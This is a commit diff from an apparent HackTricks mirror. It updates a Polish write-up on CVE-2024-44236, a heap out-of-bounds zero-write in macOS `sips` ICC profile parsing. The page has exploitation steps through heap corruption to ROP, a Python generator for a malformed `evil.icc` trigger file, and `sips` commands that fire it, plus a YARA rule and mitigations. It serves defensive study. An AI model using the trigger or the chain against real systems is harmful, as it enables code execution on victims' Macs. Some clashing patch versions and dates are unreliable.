mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips
This commit is contained in:
parent
aafc3d3a8a
commit
6584ac8b8d
@ -4,50 +4,94 @@
|
||||
|
||||
## Przegląd
|
||||
|
||||
Wrażliwość na zapis poza granicami w parserze profilu ICC systemu Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) z powodu niewłaściwej walidacji pola `offsetToCLUT` w tagach `lutAToBType` (`mAB `) i `lutBToAType` (`mBA `). Opracowany plik ICC może wywołać zerowe zapisy do 16 bajtów poza buforem sterty, uszkadzając metadane sterty lub wskaźniki funkcji i umożliwiając wykonanie dowolnego kodu (CVE-2024-44236).
|
||||
W podatności **zero-write** poza zakresem w parserze profilu ICC **Scriptable Image Processing System** (`sips`) w Apple macOS (macOS 15.0.1, `sips-307`) umożliwia atakującemu uszkodzenie metadanych sterty i przekształcenie prymitywu w pełne wykonanie kodu. Błąd znajduje się w obsłudze pola `offsetToCLUT` tagów `lutAToBType` (`mAB `) i `lutBToAType` (`mBA `). Jeśli atakujący ustawi `offsetToCLUT == tagDataSize`, parser usuwa **16 bajtów poza końcem bufora sterty**. Spraying sterty pozwala atakującemu na wyzerowanie struktur alokatora lub wskaźników C++, które później będą dereferencjonowane, co prowadzi do łańcucha **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).
|
||||
|
||||
## Wrażliwy kod
|
||||
> Apple naprawił błąd w macOS Sonoma 15.2 / Ventura 14.7.1 (30 października 2024). Druga wariant (CVE-2025-24185) został naprawiony w macOS 15.5 i iOS/iPadOS 18.5 1 kwietnia 2025.
|
||||
|
||||
Wrażliwa funkcja odczytuje i zeruje 16 bajtów, zaczynając od przesunięcia kontrolowanego przez atakującego, nie zapewniając, że mieści się ono w przydzielonym buforze:
|
||||
## Podatny kod
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
if (offsetToCLUT <= tagDataSize) {
|
||||
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
|
||||
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
|
||||
buffer[i] = 0; // no bounds check vs allocated size!
|
||||
}
|
||||
```
|
||||
Tylko sprawdzenie `offsetToCLUT <= totalDataLength` jest wykonywane. Ustawiając `offsetToCLUT == tagDataSize`, pętla indeksuje do 16 bajtów poza końcem `buffer`, psując sąsiednie metadane sterty.
|
||||
|
||||
## Kroki Eksploatacji
|
||||
|
||||
1. **Stwórz złośliwy profil `.icc`:**
|
||||
- Zbuduj nagłówek ICC (128 bajtów) z podpisem `acsp` i pojedynczym wpisem tagu `lutAToBType` lub `lutBToAType`.
|
||||
- W tabeli tagów ustaw `offsetToCLUT` równy `size` tagu (`tagDataSize`).
|
||||
- Umieść dane kontrolowane przez atakującego bezpośrednio po bloku danych tagu, aby nadpisać metadane sterty.
|
||||
2. **Wywołaj analizę:**
|
||||
1. **Stwórz złośliwy profil `.icc`**
|
||||
|
||||
* Ustaw minimalny nagłówek ICC (`acsp`) i dodaj jeden tag `mAB ` (lub `mBA `).
|
||||
* Skonfiguruj tabelę tagów tak, aby **`offsetToCLUT` równał się rozmiarowi tagu** (`tagDataSize`).
|
||||
* Umieść dane kontrolowane przez atakującego tuż po tagu, aby 16 zerowych zapisów nakładało się na metadane alokatora.
|
||||
|
||||
2. **Wywołaj analizę za pomocą dowolnej operacji sips, która dotyka profilu**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
# ścieżka weryfikacji (plik wyjściowy nie jest potrzebny)
|
||||
sips --verifyColor evil.icc
|
||||
# lub niejawnie podczas konwertowania obrazów, które osadzają profil
|
||||
sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **Uszkodzenie metadanych sterty:** OOB zero-writes nadpisują metadane alokatora lub sąsiednie wskaźniki, co pozwala atakującemu przejąć kontrolę nad przepływem i osiągnąć wykonanie dowolnego kodu w kontekście procesu `sips`.
|
||||
3. **Uszkodzenie metadanych sterty ➜ dowolny zapis ➜ ROP**
|
||||
W domyślnym alokatorze **`nano_zone`** firmy Apple, metadane dla slotów 16-bajtowych znajdują się **bezpośrednio po** wyrównanym bloku 0x1000. Umieszczając tag profilu na końcu takiego bloku, 16 zerowych zapisów nadpisuje `meta->slot_B`. Po następnym `free`, zatruty wskaźnik jest dodawany do małej listy wolnych, co pozwala atakującemu **alokować fałszywy obiekt pod dowolnym adresem** i nadpisać wskaźnik vtable C++, używany przez sips, ostatecznie przekierowując wykonanie do łańcucha ROP przechowywanego w złośliwym buforze ICC.
|
||||
|
||||
### Szybki generator PoC (Python 3)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import struct, sys
|
||||
|
||||
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
|
||||
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
|
||||
profile = HDR
|
||||
profile += struct.pack('>I', len(TAGS)) # tag count
|
||||
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
|
||||
|
||||
mab = bytearray(52) # tag payload (52 bytes)
|
||||
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
|
||||
profile += mab
|
||||
|
||||
open('evil.icc', 'wb').write(profile)
|
||||
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
|
||||
```
|
||||
### Reguła wykrywania YARA
|
||||
```yara
|
||||
rule ICC_mAB_offsetToCLUT_anomaly
|
||||
{
|
||||
meta:
|
||||
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
|
||||
author = "HackTricks"
|
||||
strings:
|
||||
$magic = { 61 63 73 70 } // 'acsp'
|
||||
$mab = { 6D 41 42 20 } // 'mAB '
|
||||
$mba = { 6D 42 41 20 } // 'mBA '
|
||||
condition:
|
||||
$magic at 0 and
|
||||
for any i in (0 .. 10): // up to 10 tags
|
||||
(
|
||||
($mab at 132 + 12*i or $mba at 132 + 12*i) and
|
||||
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
)
|
||||
}
|
||||
```
|
||||
## Wpływ
|
||||
|
||||
Udana eksploatacja skutkuje zdalnym wykonaniem dowolnego kodu z uprawnieniami użytkownika na systemach macOS uruchamiających podatne narzędzie `sips`.
|
||||
Otwieranie lub przetwarzanie spreparowanego profilu ICC prowadzi do zdalnego **wykonania dowolnego kodu** w kontekście wywołującego użytkownika (Podgląd, QuickLook, renderowanie obrazów w Safari, załączniki w Mailu itp.), omijając Gatekeeper, ponieważ profil może być osadzony w innych, pozornie nieszkodliwych obrazach (PNG/JPEG/TIFF).
|
||||
|
||||
## Wykrywanie
|
||||
## Wykrywanie i łagodzenie
|
||||
|
||||
- Monitoruj transfery plików w powszechnych protokołach (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Sprawdź przesyłane pliki z podpisem `acsp`.
|
||||
- Dla każdego tagu `mAB ` lub `mBA ` zweryfikuj, czy pole `Offset to CLUT` równa się `Tag data size`.
|
||||
- Oznacz jako podejrzane, jeśli ten warunek jest spełniony.
|
||||
* **Poprawka!** Upewnij się, że host działa na macOS ≥ 15.2 / 14.7.1 (lub iOS/iPadOS ≥ 18.1).
|
||||
* Wdróż powyższą regułę YARA na bramkach e-mailowych i rozwiązaniach EDR.
|
||||
* Usuń lub oczyść osadzone profile ICC za pomocą `exiftool -icc_profile= -overwrite_original <file>` przed dalszym przetwarzaniem na nieznanych plikach.
|
||||
* Wzmocnij Podgląd/QuickLook, uruchamiając je w piaskownicowych maszynach wirtualnych „przezroczystości i modernizacji” podczas analizy nieznanej zawartości.
|
||||
* W przypadku DFIR, szukaj niedawnego wykonania `sips --verifyColor` lub ładowania biblioteki `ColorSync` przez aplikacje w piaskownicy w zjednoczonym dzienniku.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- ZDI blog: CVE-2024-44236: Zdalna podatność na wykonanie kodu w narzędziu Apple macOS sips
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Aktualizacja zabezpieczeń Apple z października 2024 (łatka naprawiająca CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||
* Apple security updates HT213981 “O treści zabezpieczeń macOS Sonoma 15.2”
|
||||
https://support.apple.com/en-us/HT213981
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user